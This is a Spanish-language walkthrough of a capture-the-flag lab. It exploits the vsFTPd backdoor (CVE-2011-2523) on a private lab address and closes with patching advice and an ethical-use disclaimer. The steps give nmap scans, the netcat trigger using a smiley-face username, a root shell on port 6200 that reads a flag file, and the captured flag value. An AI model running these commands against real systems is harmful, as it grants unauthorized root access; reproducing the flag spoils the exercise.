🔐 Evaluación de Vulnerabilidades y Pruebas de Penetración (VAPT)

📌 Proyecto: Recorrido de Explotación del Objetivo

⚠️ Este proyecto es solo para fines educativos y de pruebas autorizadas.
El acceso no autorizado a sistemas está estrictamente prohibido.

👨‍💻 Autor

SYAFIQ
Rol: Líder de Pruebas de Penetración

🎯 Información del Objetivo

• IP del Objetivo: 10.150.150.12
• Sistema Operativo: Ubuntu Linux
• Estado: 🔴 CRÍTICO (Backdoor Detectado)
• Vulnerabilidad: CVE-2011-2523 (Backdoor vsFTPd)

🧭 Resumen del Ataque

🚀 Recorrido Paso a Paso

🔍 Paso 1: Reconocimiento de Red

Escanear la red para detectar hosts activos:

nmap -sn --unprivileged 10.150.150.10-30

✅ Resultado:

-Se detectaron 8 hosts -Objetivo identificado: 10.150.150.12

🔎 Paso 2: Enumeración de Servicios

Escaneo de puertos y servicios abiertos:

nmap -Pn -F --unprivileged -sV 10.150.150.12

✅ Hallazgos:

-Puerto 21 → FTP (vsftpd) -Puerto 22 → SSH (OpenSSH 8.2p1)

⚠️ Paso 3: Escaneo de Vulnerabilidades

Verificar la vulnerabilidad de backdoor FTP conocida:

nmap -Pn --unprivileged -p21 --script ftp-vsftpd-backdoor 10.150.150.12

🚨 Resultado:

-El objetivo es VULNERABLE -CVE-2011-2523 confirmado

💣 Paso 4: Explotación

Activación del backdoor usando un nombre de usuario malicioso:

(echo "USER hello:)"; echo "PASS password"; sleep 1) | nc -nv 10.150.150.12 21

⚡ Esto abre un shell root oculto en el puerto 6200

🔓 Paso 5: Obtener Acceso (Shell Root)

Conectarse al backdoor y ejecutar comandos:

(echo "id; cat /root/FLAG1.txt"; sleep 1) | nc -nv 10.150.150.12 6200

✅ Resultado:

Acceso root obtenido uid=0(root) confirmado

🏁 Bandera Capturada:

5ee499eb5d0b8e4269b13483e57adaa0b3815f48

🧠 Conclusiones Clave

Actualizar siempre los servicios obsoletos (vsFTPd era vulnerable) Los servicios mal configurados pueden comprometer todo el sistema Escaneos simples pueden revelar vulnerabilidades críticas -🛡️ Recomendaciones -🔄 Actualizar el servicio FTP a la última versión -🚫 Deshabilitar servicios innecesarios -🔐 Usar un firewall para restringir el acceso -📊 Realizar auditorías de seguridad periódicas -📚 Descargo de responsabilidad

Este proyecto está creado estrictamente para:

Aprender ciberseguridad Practicar hacking ético Realizar pruebas de penetración autorizadas

❌ NO uses este conocimiento para actividades ilegales.

⭐ Nota Final

“La seguridad no es un producto, sino un proceso.” — Siempre prueba, monitorea y mejora.